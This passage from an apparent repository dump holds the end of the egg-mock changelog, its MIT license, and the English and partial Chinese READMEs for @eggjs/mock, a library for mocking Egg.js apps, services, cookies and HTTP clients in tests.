[[`be3d146`](https://github.com/eggjs/egg-mock/commit/be3d1466bf438a379b85429c40c510d6be7ecc26)] - feat: bootstrap support run on jest env (#93) (fengmk2 <<fengmk2@gmail.com>>)\n\n3.20.1 / 2018-09-17\n==================\n\n**fixes**\n  * [[`4b5dbb5`](http://github.com/eggjs/egg-mock/commit/4b5dbb512bf8f598d5ea5361c58ae9d40d528ff8)] - fix: add app.mockLog() to improve app.expectLog() more stable (#87) (fengmk2 <<fengmk2@gmail.com>>)\n\n**others**\n  * [[`a64db33`](http://github.com/eggjs/egg-mock/commit/a64db33d2ee68a76f7c41303e79e37099f33b373)] - deps: add egg-logger dependency (#88) (fengmk2 <<fengmk2@gmail.com>>)\n\n3.20.0 / 2018-08-30\n==================\n\n**features**\n  * [[`283eef3`](http://github.com/eggjs/egg-mock/commit/283eef3a4f1b0bcd90cc0d6bcf6de9fe136d8503)] - feat: add `app.agent.mockHttpclient()` for agent (#82) (limerick <<guods2015@gmail.com>>)\n\n3.19.7 / 2018-08-28\n==================\n\n**fixes**\n  * [[`cc6b976`](http://github.com/eggjs/egg-mock/commit/cc6b976a66103dca44428e9ca4cf6e8d18b8323b)] - fix: app.messenger.broadcast send to self (君羽 <<ImHype@users.noreply.github.com>>)\n\n3.19.6 / 2018-08-24\n==================\n\n**fixes**\n  * [[`00fb82e`](http://github.com/eggjs/egg-mock/commit/00fb82eac8114f0be1a97421ea270947ea7b5efd)] - fix: fix declaration merging error (#86) (吖猩 <<whxaxes@qq.com>>)\n\n3.19.5 / 2018-08-24\n==================\n\n**fixes**\n  * [[`1635a90`](http://github.com/eggjs/egg-mock/commit/1635a9098d16df4ba4195d2e289476471bf96cb2)] - fix: show expectLog last 500 words on assert error (#85) (fengmk2 <<fengmk2@gmail.com>>)\n\n3.19.4 / 2018-08-24\n===================\n\n  * feat: .d.ts 新增继承自 mm 的 api (#81)\n\n3.19.3 / 2018-08-16\n==================\n\n**fixes**\n  * [[`c91bf93`](http://github.com/eggjs/egg-mock/commit/c91bf93e792c788c4cdd7cf786a45fc2ecb4511d)] - fix: allow egg-core module missing (#83) (fengmk2 <<fengmk2@gmail.com>>)\n\n3.19.2 / 2018-08-07\n==================\n\n**fixes**\n  * [[`1710f7f`](http://github.com/eggjs/egg-mock/commit/1710f7fcfdbd8709d6b4c50817ab0c214c525378)] - fix: put mock restore at the end (#80) (fengmk2 <<fengmk2@gmail.com>>)\n\n3.19.1 / 2018-08-07\n==================\n\n**fixes**\n  * [[`db3cb11`](http://github.com/eggjs/egg-mock/commit/db3cb11a97ec6bdb3a70222a459241ffc3cc2c47)] - fix: make sure backgroundTasksFinished() return promise (#79) (fengmk2 <<fengmk2@gmail.com>>)\n\n3.19.0 / 2018-08-06\n==================\n\n**features**\n  * [[`ab5a47e`](https://github.com/eggjs/egg-mock.git/commit/ab5a47e12f1fea4300a44ef19aa4ba300574d18a)] - feat: should wait for background task finish on afterEach (#78) (fengmk2 <<fengmk2@gmail.com>>)\n\n3.18.0 / 2018-08-03\n==================\n\n**features**\n  * [[`f25c50a`](http://github.com/eggjs/egg-mock/commit/f25c50a24433e251e5c9f905170cea87e3ac93e6)] - feat: add `app.expectLog()` for app and cluster (#77) (fengmk2 <<fengmk2@gmail.com>>)\n\n**others**\n  * [[`ffb1187`](http://github.com/eggjs/egg-mock/commit/ffb1187aab11bc544c4bc6c5921ca0fba28e621f)] - chore: improve tsd and add bootstrap.d.ts (#76) (SuperEVO <<zhang740@qq.com>>)\n\n3.17.3 / 2018-07-14\n===================\n\n  * types: add bootstrap.d.ts (#75)\n\n3.17.2 / 2018-05-21\n==================\n\n**others**\n  * [[`62c3dfa`](http://github.com/eggjs/egg-mock/commit/62c3dfa517b94c56c35fed8af8d9aad29e7c38d4)] - refactor: middleware use promise-based style (#74) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n3.17.1 / 2018-04-21\n===================\n\n  * fix: remove options.typescript support (#73)\n\n3.17.0 / 2018-03-30\n===================\n\n  * feat: support ts from env and pkg (#71)\n\n3.16.0 / 2018-03-28\n===================\n\n  * feat: support ts (#70)\n  * fix: mockSession save should not be enumerable (#69)\n\n3.15.1 / 2018-03-20\n==================\n\n**fixes**\n  * [[`3fbf862`](http://github.com/eggjs/egg-mock/commit/3fbf86232ee3c8e4944c8072e127c0f1ede1d26b)] - fix: mockSession save (#68) (TZ | 天猪 <<atian25@qq.com>>)\n\n3.15.0 / 2018-03-08\n==================\n\n**features**\n  * [[`9857065`](http://github.com/eggjs/egg-mock/commit/985706518e9ab8be155f285490484e5a304833fc)] - feat: add unexpectHeader() and expectHeader() (#67) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`f1820d7`](http://github.com/eggjs/egg-mock/commit/f1820d70f2e266d4b18fb7062976b4c14952a16f)] - feat: mm.app() support server event (#65) (fengmk2 <<fengmk2@gmail.com>>)\n\n3.14.1 / 2018-02-28\n==================\n\n**fixes**\n  * [[`d38d615`](http://github.com/eggjs/egg-mock/commit/d38d615c3f9bc79eb09c6864ab9d5833a50d029a)] - fix: mockUrl accepts RegExp (#64) (Brick <<brick.c.yang@gmail.com>>)\n\n**others**\n  * [[`23c1075`](http://github.com/eggjs/egg-mock/commit/23c1075f5aaaa866b0243061d0eadf21ce67d382)] - test: add post with multipart file test cases (#63) (fengmk2 <<fengmk2@gmail.com>>)\n\n3.14.0 / 2017-12-12\n==================\n\n**others**\n  * [[`be9bcd2`](http://github.com/eggjs/egg-mock/commit/be9bcd22c91044b0efdbc3db6b8109cf625002b1)] - refactor: modify d.ts and support bootstrap (Eward Song <<eward.song@gmail.com>>)\n\n3.13.1 / 2017-10-17\n==================\n\n**fixes**\n  * [[`9d071b2`](http://github.com/eggjs/egg-mock/commit/9d071b28c5ef341ee63ccb06f00f724922c698b2)] - fix: support mock the same property multiple times (#61) (Yiyu He <<dead_horse@qq.com>>)\n\n3.13.0 / 2017-10-10\n==================\n\n**features**\n  * [[`30ca0c9`](http://github.com/eggjs/egg-mock/commit/30ca0c980f3ee8b1f60f5213f0768fe5eeaaf49a)] - feat: port can be customized (#60) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n3.12.2 / 2017-09-22\n==================\n\n**fixes**\n  * [[`5935564`](http://github.com/eggjs/egg-mock/commit/5935564d1e649f8702c0f3f79e67efde10717542)] - fix: missing methods package (dainli <<dainli@outlook.com>>)\n\n**others**\n  * [[`e7f518a`](http://github.com/eggjs/egg-mock/commit/e7f518a92e1686973bea557eb0a21f1d293ab0b4)] - fix(mockHttpclient): should use the copy of mockResult (#58) (Haoliang Gao <<sakura9515@gmail.com>>)\n * [new tag]         3.12.1     -> 3.12.1\n\n\n3.12.1 / 2017-09-13\n==================\n\n**others**\n  * [[`e7f518a`](http://github.com/eggjs/egg-mock/commit/e7f518a92e1686973bea557eb0a21f1d293ab0b4)] - fix(mockHttpclient): should use the copy of mockResult (#58) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n3.12.0 / 2017-09-12\n==================\n\n**others**\n  * [[`25a0e28`](http://github.com/eggjs/egg-mock/commit/25a0e28e85209ec08a593b38cd434ed389ef8887)] - feat(mockHttpclient): use Regular Expression for matching url (#57) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n3.11.0 / 2017-09-11\n==================\n\n**features**\n  * [[`f1a08a6`](http://github.com/eggjs/egg-mock/commit/f1a08a654a08313c0848828ee9051f8bf174fc6a)] - feat: support httpRequest().get(routerName) (#56) (fengmk2 <<fengmk2@gmail.com>>)\n\n3.10.0 / 2017-08-30\n==================\n\n**features**\n  * [[`f3654df`](http://github.com/eggjs/egg-mock/commit/f3654df99d4bee2ea0ee1ef580af7af66f21255d)] - feat: base promise to support async function (#55) (Yiyu He <<dead_horse@qq.com>>)\n\n3.9.1 / 2017-08-14\n==================\n\n**fixes**\n  * [[`d6cafaa`](http://github.com/eggjs/egg-mock/commit/d6cafaa531d9bbcc0fc987e7d6fdefd6a515e785)] - fix: fix agent type after ready (#54) (zōng yǔ <<gxcsoccer@users.noreply.github.com>>)\n\n3.9.0 / 2017-08-02\n==================\n\n**features**\n  * [[`9e1642c`](http://github.com/eggjs/egg-mock/commit/9e1642c7fc569d3cc4a73c9ede6511a18cca6fc5)] - feat: add bootstrap (#53) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n\n3.8.0 / 2017-06-21\n==================\n\n  * deps: upgrade dependencies (#51)\n  * test: disable coverage when mm.cluster (#50)\n\n3.7.2 / 2017-06-07\n==================\n\n  * fix(httpclient): miss headers on options when emit response (#49)\n\n3.7.1 / 2017-06-01\n==================\n\n  * fix: detect prop object type can be non string (#48)\n\n3.7.0 / 2017-05-18\n===================\n\n  * feat: support prerequire files (#46)\n\n3.6.1 / 2017-05-11\n==================\n\n  * fix: ignore all error on cluster mock restore (#45)\n\n3.6.0 / 2017-05-10\n==================\n\n  * chore: add tsd (#43)\n  * feat: support mock function on cluster mode (#44)\n  * deps: upgrade dependencies (#42)\n\n3.5.0 / 2017-04-25\n==================\n\n  * feat: mockUrllib support async function (#41)\n\n3.4.0 / 2017-04-17\n==================\n\n  * feat: should pass when emit egg-ready (#39)\n\n3.3.0 / 2017-04-15\n==================\n\n  * feat: add app.httpRequest() test helper (#38)\n\n3.2.0 / 2017-03-14\n==================\n\n  * feat: mockHttpClient support mock multi methods (#35)\n  * test: remove userrole (#34)\n\n3.1.2 / 2017-03-05\n==================\n\n  * fix: should pass all arguments when mockCookies (#33)\n\n3.1.1 / 2017-03-04\n==================\n\n  * fix: egg-mock is not a framework (#32)\n\n3.1.0 / 2017-03-02\n==================\n\n  * feat: use framework instead of customEgg (#31)\n\n3.0.1 / 2017-02-22\n==================\n\n  * fix: app.close in right order (#30)\n\n3.0.0 / 2017-02-13\n==================\n\n  * deps: upgrade egg (#29)\n  * fix: bind messenger with app and agent (#28)\n  * feat: [BREAKING_CHANGE] can get error from .ready() (#27)\n  * test: remove unuse codes (#26)\n\n2.4.0 / 2017-02-08\n==================\n\n  * feat: listen error that thrown when app init (#25)\n\n2.3.1 / 2017-01-26\n==================\n\n  * fix: improve proxy handler and event listener (#24)\n\n2.3.0 / 2017-01-25\n==================\n\n  * feat: cluster-client support for mm.app (#23)\n\n2.2.0 / 2017-01-25\n==================\n\n  * feat: reimplement mm.app (#22)\n\n2.1.0 / 2017-01-16\n==================\n\n  * feat: support read framework from package.json (#20)\n\n2.0.0 / 2017-01-12\n==================\n\n  * refactor: use mockHttpclient instead of mockUrllib (#19)\n\n1.3.0 (deprecated) / 2017-01-12\n==================\n\n  * refactor: use mockHttpclient instead of mockUrllib (#19)\n\n1.2.1 / 2017-01-09\n==================\n\n  * fix: can't override data when mockContext(data) (#18)\n  * fix: replace the internal link into an github link in the env comment. (#17)\n\n1.2.0 / 2016-11-11\n==================\n\n  * feat: try to lookup egg that will be the default customEgg (#16)\n  * fix: don't use cache when app from cache is closed (#15)\n\n1.1.0 / 2016-11-02\n==================\n\n  * feat: add mm.home (#14)\n\n1.0.0 / 2016-11-01\n==================\n\n  * test: add testcase (#10)\n\n0.0.8 / 2016-10-25\n==================\n\n  * feat: wait 10ms to close app (#13)\n\n0.0.7 / 2016-10-25\n==================\n\n  * feat: should close agent when app close (#12)\n\n0.0.6 / 2016-10-24\n==================\n\n  * feat: cluster should wait process exit (#11)\n  * docs:update readme (#9)\n  * docs: update readme\n\n0.0.5 / 2016-10-11\n==================\n\n  * feat: pass opt to coffee (#7)\n\n0.0.4 / 2016-08-16\n==================\n\n  * fix: add eggPath for new egg (#5)\n"
  },
  {
    "path": "plugins/mock/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2017-present Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "plugins/mock/README.md",
    "content": "# @eggjs/mock\n\n[![NPM version][npm-image]][npm-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/mock.svg?style=flat)](https://nodejs.org/en/download/)\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/mock.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/mock\n[download-image]: https://img.shields.io/npm/dm/@eggjs/mock.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/mock\n\nMock library for testing Egg applications, plugins and custom Egg frameworks with ease.\n`egg-mock` inherits all APIs from [node_modules/mm](https://github.com/node-modules/mm), offering more flexibility.\n\n## Install\n\n```bash\nnpm i @eggjs/mock --save-dev\n```\n\n## Usage\n\n### Create testcase\n\nLaunch a mock server with `mm.app`\n\n```js\n// test/index.test.js\nconst path = require('node:path');\nconst mm = require('@eggjs/mock');\n\ndescribe('some test', () => {\n  let app;\n  before(() => {\n    app = mm.app({\n      baseDir: 'apps/foo',\n    });\n    return app.ready();\n  });\n  after(() => app.close());\n\n  it('should request /', () => {\n    return app.httpRequest().get('/').expect(200);\n  });\n});\n```\n\nRetrieve Agent instance through `app.agent` after `mm.app` started.\n\nUsing `mm.cluster` launch cluster server, you can use the same API as `mm.app`;\n\n### Test Application\n\n`baseDir` is optional that is `process.cwd()` by default.\n\n```js\nbefore(() => {\n  app = mm.app();\n  return app.ready();\n});\n```\n\n### Test Framework\n\nframework is optional, it's `node_modules/egg` by default.\n\n```js\nbefore(() => {\n  app = mm.app({\n    baseDir: 'apps/demo',\n    framework: true,\n  });\n  return app.ready();\n});\n```\n\n### Test Plugin\n\nIf `eggPlugin.name` is defined in `package.json`, it's a plugin that will be loaded to plugin list automatically.\n\n```js\nbefore(() => {\n  app = mm.app({\n    baseDir: 'apps/demo',\n  });\n  return app.ready();\n});\n```\n\nYou can also test the plugin in different framework, e.g. test [aliyun-egg](https://github.com/eggjs/aliyun-egg) and framework-b in one plugin.\n\n```js\ndescribe('aliyun-egg', () => {\n  let app;\n  before(() => {\n    app = mm.app({\n      baseDir: 'apps/demo',\n      framework: path.join(__dirname, 'node_modules/aliyun-egg'),\n    });\n    return app.ready();\n  });\n});\n\ndescribe('framework-b', () => {\n  let app;\n  before(() => {\n    app = mm.app({\n      baseDir: 'apps/demo',\n      framework: path.join(__dirname, 'node_modules/framework-b'),\n    });\n    return app.ready();\n  });\n});\n```\n\nIf it's detected as an plugin, but you don't want it to be, you can use `plugin = false`.\n\n```js\nbefore(() => {\n  app = mm.app({\n    baseDir: 'apps/demo',\n    plugin: false,\n  });\n  return app.ready();\n});\n```\n\n## API\n\n### mm.app(options)\n\nCreate a mock application.\n\n### mm.cluster(options)\n\nCreate a mock cluster server, but you can't use API in application, you should test using `supertest`.\n\n```js\nconst mm = require('@eggjs/mock');\n\ndescribe('test/app.js', () => {\n  let app, config;\n  before(() => {\n    app = mm.cluster();\n    return app.ready();\n  });\n  after(() => app.close());\n\n  it('some test', () => {\n    return app.httpRequest().get('/config').expect(200);\n  });\n});\n```\n\nYou can disable coverage, because it's slow.\n\n```js\nmm.cluster({\n  coverage: false,\n});\n```\n\n### mm.env(env)\n\nMock env when starting\n\n```js\n// production environment\nmm.env('prod');\nmm.app({\n  cache: false,\n});\n```\n\nEnvironment list <https://github.com/eggjs/egg-core/blob/master/lib/loader/egg_loader.js#L82>\n\n### mm.consoleLevel(level)\n\nMock level that print to stdout/stderr\n\n```js\n// DON'T log to terminal\nmm.consoleLevel('NONE');\n```\n\nlevel list: `DEBUG`, `INFO`, `WARN`, `ERROR`, `NONE`\n\n### mm.home(homePath)\n\nmock home directory\n\n### mm.restore()\n\nrestore all mock data, e.g. `afterEach(mm.restore)`\n\n### options\n\nOptions for `mm.app` and `mm.cluster`\n\n#### baseDir {String}\n\nThe directory of application, default is `process.cwd()`.\n\n```js\nmm.app({\n  baseDir: path.join(__dirname, 'fixtures/apps/demo'),\n});\n```\n\nYou can use a string based on `$CWD/test/fixtures` for short\n\n```js\nmm.app({\n  baseDir: 'apps/demo',\n});\n```\n\n#### framework {String/Boolean}\n\nThe directory of framework\n\n```js\nmm.app({\n  baseDir: 'apps/demo',\n  framework: path.join(__dirname, 'fixtures/egg'),\n});\n```\n\nIt can be true when test an framework\n\n#### plugin\n\nThe directory of plugin, it's detected automatically.\n\n```js\nmm.app({\n  baseDir: 'apps/demo',\n});\n```\n\n#### plugins {Object}\n\nDefine a list of plugins\n\n#### cache {Boolean}\n\nDetermine whether enable cache. it's cached by baseDir.\n\n#### clean {Boolean}\n\nClean all logs directory, default is true.\n\nIf you are using `ava`, disable it.\n\n### app.mockLog([logger]) and app.expectLog(str[, logger]), app.notExpectLog(str[, logger])\n\nAssert some string value in the logger instance.\nIt is recommended to pair `app.mockLog()` with `app.expectLog()` or `app.notExpectLog()`.\nUsing `app.expectLog()` or `app.notExpectLog()` alone requires dependency on the write speed of the log. When the server disk is high IO, unstable results will occur.\n\n```js\nit('should work', async () => {\n  app.mockLog();\n  await app.httpRequest().get('/').expect('hello world').expect(200);\n\n  app.expectLog('foo in logger');\n  app.expectLog('foo in coreLogger', 'coreLogger');\n  app.expectLog('foo in myCustomLogger', 'myCustomLogger');\n\n  app.notExpectLog('bar in logger');\n  app.notExpectLog('bar in coreLogger', 'coreLogger');\n  app.notExpectLog('bar in myCustomLogger', 'myCustomLogger');\n});\n```\n\n### app.httpRequest()\n\nRequest current app http server.\n\n```js\nit('should work', () => {\n  return app.httpRequest().get('/').expect('hello world').expect(200);\n});\n```\n\nSee [supertest](https://github.com/visionmedia/supertest) to get more APIs.\n\n#### .unexpectHeader(name)\n\nAssert current response not contains the specified header\n\n```js\nit('should work', () => {\n  return app.httpRequest().get('/').unexpectHeader('set-cookie').expect(200);\n});\n```\n\n#### .expectHeader(name)\n\nAssert current response contains the specified header\n\n```js\nit('should work', () => {\n  return app.httpRequest().get('/').expectHeader('set-cookie').expect(200);\n});\n```\n\n### app.mockContext(options)\n\n```js\nconst ctx = app.mockContext({\n  user: {\n    name: 'Jason',\n  },\n});\nconsole.log(ctx.user.name); // Jason\n```\n\n### app.mockContextScope(fn, options)\n\n```js\nawait app.mockContextScope(\n  async ctx => {\n    console.log(ctx.user.name); // Jason\n  },\n  {\n    user: {\n      name: 'Jason',\n    },\n  }\n);\n```\n\n### app.mockCookies(data)\n\n```js\napp.mockCookies({\n  foo: 'bar',\n});\nconst ctx = app.mockContext();\nconsole.log(ctx.getCookie('foo'));\n```\n\n### app.mockHeaders(data)\n\nMock request header\n\n### app.mockSession(data)\n\n```js\napp.mockSession({\n  foo: 'bar',\n});\nconst ctx = app.mockContext();\nconsole.log(ctx.session.foo);\n```\n\n### app.mockService(service, methodName, fn)\n\n```js\nit('should mock user name', async function () {\n  app.mockService('user', 'getName', async function (ctx, methodName, args) {\n    return 'popomore';\n  });\n  const ctx = app.mockContext();\n  await ctx.service.user.getName();\n});\n```\n\n### app.mockServiceError(service, methodName, error)\n\nYou can mock an error for service\n\n```js\napp.mockServiceError('user', 'home', new Error('mock error'));\n```\n\n### app.mockCsrf()\n\n```js\napp.mockCsrf();\n\nreturn app.httpRequest().post('/login').expect(302);\n```\n\n### app.mockHttpclient(url, method, data)\n\nMock httpclient request, e.g.: `ctx.curl`\n\n```js\napp.get('/', async function () {\n  const ret = await this.curl('https://eggjs.org');\n  this.body = ret.data.toString();\n});\n\napp.mockHttpclient('https://eggjs.org', {\n  // can be buffer / string / json / function\n  // will auto convert to buffer\n  // follow options.dataType to convert\n  data: 'mock egg',\n});\n// app.mockHttpclient('https://eggjs.org', 'get', mockResponse); // mock get\n// app.mockHttpclient('https://eggjs.org', [ 'get' , 'head' ], mockResponse); // mock get and head\n// app.mockHttpclient('https://eggjs.org', '*', mockResponse); // mock all methods\n// app.mockHttpclient('https://eggjs.org', mockResponse); // mock all methods by default\n// app.mockHttpclient('https://eggjs.org', 'get', function(url, opt) { return 'xxx' }); // support fn\n\nreturn app.httpRequest().post('/').expect('mock egg');\n```\n\nYou can also use Regular Expression for matching url.\n\n```js\napp.mockHttpclient(/\\/users\\/[a-z]$/i, {\n  data: {\n    name: 'egg',\n  },\n});\n```\n\nYou can alse mock agent.httpclient\n\n```js\napp.agent.mockHttpclient('https://eggjs.org', {\n  data: {\n    name: 'egg',\n  },\n});\n```\n\n## Bootstrap\n\nWe also provide a bootstrap file for applications' unit test to reduce duplicated code:\n\n```js\nconst { app, mock, assert } = require('@eggjs/mock/bootstrap');\n\ndescribe('test app', () => {\n  it('should request success', () => {\n    // mock data will be restored each case\n    mock.data(app, 'method', { foo: 'bar' });\n    return app\n      .httpRequest()\n      .get('/foo')\n      .expect(res => {\n        assert(!res.headers.foo);\n      })\n      .expect(/bar/);\n  });\n});\n\ndescribe('test ctx', () => {\n  it('can use ctx', async function () {\n    const res = await this.ctx.service.foo();\n    assert(res === 'foo');\n  });\n});\n```\n\nWe inject ctx to every test case, so you can use `app.currentContext` in your test case.\nand the first call of `app.mockContext` will reuse `app.currentContext`.\n\n```js\nconst { app, mock, assert } = require('@eggjs/mock/bootstrap');\n\ndescribe('test ctx', () => {\n  it('should can use ctx', () => {\n    const ctx = app.currentContext;\n    assert(ctx);\n  });\n\n  it('should reuse ctx', () => {\n    const ctx = app.currentContext;\n    // first call will reuse app.currentContext\n    const mockCtx = app.mockContext();\n    assert(ctx === mockCtx);\n    // next call will create a new context\n    // multi call app.mockContext will get wrong context with app.currentContext\n    // so we recommend to use app.mockContextScope\n    const mockCtx2 = app.mockContext();\n    assert(ctx !== mockCtx);\n  });\n});\n```\n\nAnd if you use mm.app to bootstrap app, you can manually call setGetAppCallback,\nthen egg-mock will inject ctx for each test case.\n\n```js\n// test/.setup.js\nconst mm = require('@eggjs/mock');\nconst path = require('path');\n\nbefore(async function () {\n  const app = (this.app = mm.app());\n  mm.setGetAppCallback(() => {\n    return app;\n  });\n  await app.ready();\n});\n\n// test/index.test.js\nit('should work', function () {\n  // eslint-disable-next-line no-undef\n  assert(this.app.currentContext);\n});\n```\n\n### env for custom bootstrap\n\nEGG_BASE_DIR: the base dir of egg app\nEGG_FRAMEWORK: the framework of egg app\n\n## Questions & Suggestions\n\nPlease open an issue [here](https://github.com/eggjs/egg/issues).\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "plugins/mock/README.zh_CN.md",
    "content": "# @eggjs/mock\n\n[![NPM version][npm-image]][npm-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/mock.svg?style=flat)](https://nodejs.org/en/download/)\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/mock.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/mock\n[download-image]: https://img.shields.io/npm/dm/@eggjs/mock.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/mock\n\n一个数据模拟的库，更方便地测试 Egg 应用、插件及自定义 Egg 框架。\n`@eggjs/mock` 拓展自 [node_modules/mm](https://github.com/node-modules/mm)，你可以使用所有 `mm` 包含的 API。\n\n## Install\n\n```bash\nnpm i @eggjs/mock --save-dev\n```\n\n## Usage\n\n### 创建测试用例\n\n通过 `mm.app` 启动应用，可以使用 App 的 API 模拟数据\n\n```js\n// test/index.test.js\nconst path = require('path');\nconst mm = require('@eggjs/mock');\n\ndescribe('some test', () => {\n  let app;\n  before(() => {\n    app = mm.app({\n      baseDir: 'apps/foo',\n    });\n    return app.ready();\n  });\n  after(() => app.close());\n\n  it('should request /', () => {\n    return app.httpRequest().get('/').expect(200);\n  });\n});\n```\n\n使用 `mm.app` 启动后可以通过 `app.agent` 访问到 agent 对象。\n\n使用 `mm.cluster` 启动多进程测试，API 与 `mm.app` 一致。\n\n### 应用开发者\n\n应用开发者不需要传入 baseDir，其为当前路径\n\n```js\nbefore(() => {\n  app = mm.app({\n    framework: path.join(__dirname, '../node_modules/egg'),\n  });\n  return app.ready();\n});\n```\n\n### 框架开发者\n\n框架开发者需要指定 `framework`，会将当前路径指定为框架入口\n\n```js\nbefore(() => {\n  app = mm.app({\n    baseDir: 'apps/demo',\n    framework: true,\n  });\n  return app.ready();\n});\n```\n\n### 插件开发者\n\n在插件目录下执行测试用例时，只要 `package.json` 中有 `eggPlugin.name` 字段，就会自动把当前目录加到插件列表中。\n\n```js\nbefore(() => {\n  app = mm.app({\n    baseDir: 'apps/demo',\n  });\n  return app.ready();\n});\n```\n\n也可以通过 `framework` 指定其他框架，比如希望在 aliyun-egg 和 framework-b 同时测试此插件。\n\n```js\ndescribe('aliyun-egg', () => {\n  let app;\n  before(() => {\n    app = mm.app({\n      baseDir: 'apps/demo',\n      framework: path.join(__dirname, 'node_modules/aliyun-egg'),\n    });\n    return app.ready();\n  });\n});\n\ndescribe('framework-b', () => {\n  let app;\n  before(() => {\n    app = mm.app({\n      baseDir: 'apps/demo',\n      framework: path.join(__dirname, 'node_modules/framework-b'),\n    });\n    return app.ready();\n  });\n});\n```\n\n如果当前目录确实是一个 egg 插件，但是又不想当它是一个插件来测试，可以通过 `options.plugin` 选项来关闭：\n\n```js\nbefore(() => {\n  app = mm.app({\n    baseDir: 'apps/demo',\n    plugin: false,\n  });\n  return app.ready();\n});\n```\n\n## API\n\n### mm.app(options)\n\n创建一个 mock 的应用。\n\n### mm.cluster(options)\n\n创建一个多进程应用，因为是多进程应用，无法获取 worker 的属性，只能通过 supertest 请求。\n\n```js\nconst mm = require('@eggjs/mock');\n\ndescribe('test/app.js', () => {\n  let app, config;\n  before(() => {\n    app = mm.cluster();\n    return app.ready();\n  });\n  after(() => app.close());\n\n  it('some test', () => {\n    return app.httpRequest().get('/config').expect(200);\n  });\n});\n```\n\n默认会启用覆盖率，因为覆盖率比较慢，可以设置 coverage 关闭\n\n```js\nmm.cluster({\n  coverage: false,\n});\n```\n\n### mm.env(env)\n\n设置环境变量，主要用于启动阶段，运行阶段可以使用 app.mockEnv。\n\n```js\n// 模拟生成环境\nmm.env('prod');\nmm.app({\n  cache: false,\n});\n```\n\n具体值见 <https://github.com/eggjs/egg-core/blob/master/lib/loader/egg_loader.js#L82>\n\n### mm.consoleLevel(level)\n\nmock 终端日志打印级别\n\n```js\n// 不输出到终端\nmm.consoleLevel('NONE');\n```\n\n可选 level 为 `DEBUG`, `INFO`, `WARN`, `ERROR`, `NONE`\n\n### mm.home(homePath)\n\n模拟操作系统用户目录\n\n### mm.restore\n\n还原所有 mock 数据，一般需要结合 `afterEach(mm.restore)` 使用\n\n### options\n\nmm.app 和 mm.cluster 的配置参数\n\n#### baseDir {String}\n\n当前应用的目录，如果是应用本身的测试可以不填默认为 $CWD。\n\n指定完整路径\n\n```js\nmm.app({\n  baseDir: path.join(__dirname, 'fixtures/apps/demo'),\n});\n```\n\n也支持缩写，找 test/fixtures 目录下的\n\n```js\nmm.app({\n  baseDir: 'apps/demo',\n});\n```\n\n#### framework {String/Boolean}\n\n指定框架路径\n\n```js\nmm.app({\n  baseDir: 'apps/demo',\n  framework: path.join(__dirname, 'fixtures/egg'),\n});\n```\n\n对于框架的测试用例，可以指定 true，会自动加载当前路径。\n\n#### plugin\n\n指定插件的路径，只用于插件测试。设置为 true 会将当前路径设置到插件列表。\n\n```js\nmm.app({\n  baseDir: 'apps/demo',\n  plugin: true,\n});\n```\n\n#### plugins {Object}\n\n传入插件列表，可以自定义多个插件\n\n#### cache {Boolean}\n\n是否需要缓存，默认开启。\n\n是通过 baseDir 缓存的，如果不需要可以关闭，但速度会慢。\n\n#### clean {Boolean}\n\n是否需要清理 log 目录，默认开启。\n\n如果是通过 ava 等并行测试框架进行测试，需要手动在执行测试前进行统一的日志清理，不能通过 mm 来处理，设置 `clean` 为 `false`。\n\n### app.mockLog([logger]) and app.expectLog(str[, logger]), app.notExpectLog(str[, logger])\n\n断言指定的字符串记录在指定的日志中。\n建议 `app.mockLog()` 和 `app.expectLog()` 或者 `app.notExpectLog()` 配对使用。\n单独使用 `app.expectLog()` 或者 `app.notExpectLog()` 需要依赖日志的写入速度，在服务器磁盘高 IO 的时候，会出现不稳定的结果。\n\n```js\nit('should work', async () => {\n  // 将日志记录到内存，用于下面的 expectLog\n  app.mockLog();\n  await app.httpRequest().get('/').expect('hello world').expect(200);\n\n  app.expectLog('foo in logger');\n  app.expectLog('foo in coreLogger', 'coreLogger');\n  app.expectLog('foo in myCustomLogger', 'myCustomLogger');\n\n  app.notExpectLog('bar in logger');\n  app.notExpectLog('bar in coreLogger', 'coreLogger');\n  app.notExpectLog('bar in myCustomLogger', 'myCustomLogger');\n});\n```\n\n### 